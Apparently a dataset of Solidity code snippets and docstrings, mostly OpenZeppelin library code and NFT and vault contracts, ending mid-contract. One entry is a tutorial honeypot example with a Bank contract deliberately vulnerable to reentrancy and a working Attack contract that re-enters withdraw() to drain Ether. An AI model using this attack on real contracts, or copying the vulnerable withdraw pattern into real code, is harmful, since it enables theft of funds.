*/ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); }
verify the tokens exist first
function mint(uint256[] memory _ids) external payable { uint256 numTokens = _ids.length; require(publicSale, "CCML: Public sales aren't available yet"); require((tokenPrice * numTokens) <= msg.value, "CCML: Insufficient funds sent for purchase"); require((totalSupply() + numTokens) <= maxNftSupply, "CCML: Mint would exceed max supply of tokens"); for (uint256 i = 0; i < numTokens; i++) { require(_minted[_ids[i]] == false, "CCML: One or more of these ids are taken"); require( _ids[i] <= maxNftSupply, "CCML: One or more of these ids are greater than the max number of tokens" ); } for (uint256 i = 0; i < numTokens; i++) { if (totalSupply() < maxNftSupply) { _minted[_ids[i]] = true; _safeMint(msg.sender, _ids[i]); } } }
1,572,093
./full_match/80001/0x16364a319ED7D081ec335A2FdeE09a0959690A83/sources/contracts/NFT.sol
Mints a token and lists it in the marketplace /
function createToken(string memory tokenURI, uint256 price) public payable returns (uint256) { _tokenIds.increment(); uint256 newTokenId = _tokenIds.current(); _mint(msg.sender, newTokenId); _setTokenURI(newTokenId, tokenURI); createMarketItem(newTokenId, price); return newTokenId; }
5,672,648
// SPDX-License-Identifier: MIT pragma solidity ^0.8.10; /* Bank is a contract that calls Logger to log events. Bank.withdraw() is vulnerable to the reentrancy attack. So a hacker tries to drain Ether from Bank. But actually the reentracy exploit is a bait for hackers. By deploying Bank with HoneyPot in place of the Logger, this contract becomes a trap for hackers. Let's see how. 1. Alice deploys HoneyPot 2. Alice deploys Bank with the address of HoneyPot 3. Alice deposits 1 Ether into Bank. 4. Eve discovers the reentrancy exploit in Bank.withdraw and decides to hack it. 5. Eve deploys Attack with the address of Bank 6. Eve calls Attack.attack() with 1 Ether but the transaction fails. What happened? Eve calls Attack.attack() and it starts withdrawing Ether from Bank. When the last Bank.withdraw() is about to complete, it calls logger.log(). Logger.log() calls HoneyPot.log() and reverts. Transaction fails. */ contract Bank { mapping(address => uint) public balances; Logger logger; constructor(Logger _logger) { logger = Logger(_logger); } function deposit() public payable { balances[msg.sender] += msg.value; logger.log(msg.sender, msg.value, "Deposit"); } function withdraw(uint _amount) public { require(_amount <= balances[msg.sender], "Insufficient funds"); (bool sent, ) = msg.sender.call{value: _amount}(""); require(sent, "Failed to send Ether"); balances[msg.sender] -= _amount; logger.log(msg.sender, _amount, "Withdraw"); } } contract Logger { event Log(address caller, uint amount, string action); function log( address _caller, uint _amount, string memory _action ) public { emit Log(_caller, _amount, _action); } } // Hacker tries to drain the Ethers stored in Bank by reentrancy. contract Attack { Bank bank; constructor(Bank _bank) { bank = Bank(_bank); } fallback() external payable { if (address(bank).balance >= 1 ether) { bank.withdraw(1 ether); } } function attack() public payable { bank.deposit{value: 1 ether}(); bank.withdraw(1 ether); } function getBalance() public view returns (uint) { return address(this).balance; } } // Let's say this code is in a separate file so that others cannot read it. contract HoneyPot { function log( address _caller, uint _amount, string memory _action ) public { if (equal(_action, "Withdraw")) { revert("It's a trap"); } } // Function to compare strings using keccak256 function equal(string memory _a, string memory _b) public pure returns (bool) { return keccak256(abi.encode(_a)) == keccak256(abi.encode(_b)); } }
Function to compare strings using keccak256
function equal(string memory _a, string memory _b) public pure returns (bool) { return keccak256(abi.encode(_a)) == keccak256(abi.encode(_b)); }
2,502,028
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/math/Math.sol /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // File: @openzeppelin/contracts/utils/Address.sol /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: contracts/Vault/BaseStrategy.sol pragma experimental ABIEncoderV2; struct StrategyParams { uint256 performanceFee; uint256 activation; uint256 debtRatio; uint256 minDebtPerHarvest; uint256 maxDebtPerHarvest; uint256 lastReport; uint256 totalDebt; uint256 totalGain; uint256 totalLoss; bool enforceChangeLimit; uint256 profitLimitRatio; uint256 lossLimitRatio; address customCheck; } interface VaultAPI is IERC20 { function name() external view returns (string calldata); function symbol() external view returns (string calldata); function decimals() external view returns (uint256); function apiVersion() external pure returns (string memory); function permit( address owner, address spender, uint256 amount, uint256 expiry, bytes calldata signature ) external returns (bool); // NOTE: Vyper produces multiple signatures for a given function with "default" args function deposit() external returns (uint256); function deposit(uint256 amount) external returns (uint256); function deposit(uint256 amount, address recipient) external returns (uint256); // NOTE: Vyper produces multiple signatures for a given function with "default" args function withdraw() external returns (uint256); function withdraw(uint256 maxShares) external returns (uint256); function withdraw(uint256 maxShares, address recipient) external returns (uint256); function token() external view returns (address); function strategies(address _strategy) external view returns (StrategyParams memory); function pricePerShare() external view returns (uint256); function totalAssets() external view returns (uint256); function depositLimit() external view returns (uint256); function maxAvailableShares() external view returns (uint256); /** * View how much the Vault would increase this Strategy's borrow limit, * based on its present performance (since its last report). Can be used to * determine expectedReturn in your Strategy. */ function creditAvailable() external view returns (uint256); /** * View how much the Vault would like to pull back from the Strategy, * based on its present performance (since its last report). Can be used to * determine expectedReturn in your Strategy. */ function debtOutstanding() external view returns (uint256); /** * View how much the Vault expect this Strategy to return at the current * block, based on its present performance (since its last report). Can be * used to determine expectedReturn in your Strategy. */ function expectedReturn() external view returns (uint256); /** * This is the main contact point where the Strategy interacts with the * Vault. It is critical that this call is handled as intended by the * Strategy. Therefore, this function will be called by BaseStrategy to * make sure the integration is correct. */ function report( uint256 _gain, uint256 _loss, uint256 _debtPayment ) external returns (uint256); /** * This function should only be used in the scenario where the Strategy is * being retired but no migration of the positions are possible, or in the * extreme scenario that the Strategy needs to be put into "Emergency Exit" * mode in order for it to exit as quickly as possible. The latter scenario * could be for any reason that is considered "critical" that the Strategy * exits its position as fast as possible, such as a sudden change in * market conditions leading to losses, or an imminent failure in an * external dependency. */ function revokeStrategy() external; /** * View the governance address of the Vault to assert privileged functions * can only be called by governance. The Strategy serves the Vault, so it * is subject to governance defined by the Vault. */ function governance() external view returns (address); /** * View the management address of the Vault to assert privileged functions * can only be called by management. The Strategy serves the Vault, so it * is subject to management defined by the Vault. */ function management() external view returns (address); /** * View the guardian address of the Vault to assert privileged functions * can only be called by guardian. The Strategy serves the Vault, so it * is subject to guardian defined by the Vault. */ function guardian() external view returns (address); } /** * This interface is here for the keeper bot to use. */ interface StrategyAPI { function name() external view returns (string memory); function vault() external view returns (address); function want() external view returns (address); function apiVersion() external pure returns (string memory); function keeper() external view returns (address); function isActive() external view returns (bool); function delegatedAssets() external view returns (uint256); function estimatedTotalAssets() external view returns (uint256); function tendTrigger(uint256 callCost) external view returns (bool); function tend() external; function harvestTrigger(uint256 callCost) external view returns (bool); function harvest() external; event Harvested(uint256 profit, uint256 loss, uint256 debtPayment, uint256 debtOutstanding); } /** * @title DeFi Yield Technology Base Strategy * @author DeFi Yield Technology * @notice * BaseStrategy implements all of the required functionality to interoperate * closely with the Vault contract. This contract should be inherited and the * abstract methods implemented to adapt the Strategy to the particular needs * it has to create a return. * * Of special interest is the relationship between `harvest()` and * `vault.report()'. `harvest()` may be called simply because enough time has * elapsed since the last report, and not because any funds need to be moved * or positions adjusted. This is critical so that the Vault may maintain an * accurate picture of the Strategy's performance. See `vault.report()`, * `harvest()`, and `harvestTrigger()` for further details. */ abstract contract BaseStrategy { using SafeMath for uint256; using SafeERC20 for IERC20; string public metadataURI; /** * @notice * Used to track which version of `StrategyAPI` this Strategy * implements. * @dev The Strategy's version must match the Vault's `API_VERSION`. * @return A string which holds the current API version of this contract. */ function apiVersion() public pure returns (string memory) { return "0.0.1"; } /** * @notice This Strategy's name. * @dev * You can use this field to manage the "version" of this Strategy, e.g. * `StrategySomethingOrOtherV1`. However, "API Version" is managed by * `apiVersion()` function above. * @return This Strategy's name. */ function name() external view virtual returns (string memory); /** * @notice * The amount (priced in want) of the total assets managed by this strategy should not count * towards DeFi Yield Technology TVL calculations. * @dev * You can override this field to set it to a non-zero value if some of the assets of this * Strategy is somehow delegated inside another part of of DeFi Yield Technology ecosystem e.g. another Vault. * Note that this value must be strictly less than or equal to the amount provided by * `estimatedTotalAssets()` below, as the TVL calc will be total assets minus delegated assets. * Also note that this value is used to determine the total assets under management by this * strategy, for the purposes of computing the management fee in `Vault` * @return * The amount of assets this strategy manages that should not be included in DeFi Yield Technology Total Value * Locked (TVL) calculation across it's ecosystem. */ function delegatedAssets() external view virtual returns (uint256) { return 0; } VaultAPI public vault; address public strategist; address public rewards; address public keeper; IERC20 public want; // So indexers can keep track of this event Harvested(uint256 profit, uint256 loss, uint256 debtPayment, uint256 debtOutstanding); event UpdatedStrategist(address newStrategist); event UpdatedKeeper(address newKeeper); event UpdatedRewards(address rewards); event UpdatedMinReportDelay(uint256 delay); event UpdatedMaxReportDelay(uint256 delay); event UpdatedProfitFactor(uint256 profitFactor); event UpdatedDebtThreshold(uint256 debtThreshold); event EmergencyExitEnabled(); event UpdatedMetadataURI(string metadataURI); // The minimum number of seconds between harvest calls. See // `setMinReportDelay()` for more details. uint256 public minReportDelay; // The maximum number of seconds between harvest calls. See // `setMaxReportDelay()` for more details. uint256 public maxReportDelay; // The minimum multiple that `callCost` must be above the credit/profit to // be "justifiable". See `setProfitFactor()` for more details. uint256 public profitFactor; // Use this to adjust the threshold at which running a debt causes a // harvest trigger. See `setDebtThreshold()` for more details. uint256 public debtThreshold; // See note on `setEmergencyExit()`. bool public emergencyExit; // modifiers modifier onlyAuthorized() { require(msg.sender == strategist || msg.sender == governance(), "!authorized"); _; } modifier onlyEmergencyAuthorized() { require( msg.sender == strategist || msg.sender == governance() || msg.sender == vault.guardian() || msg.sender == vault.management(), "!authorized" ); _; } modifier onlyStrategist() { require(msg.sender == 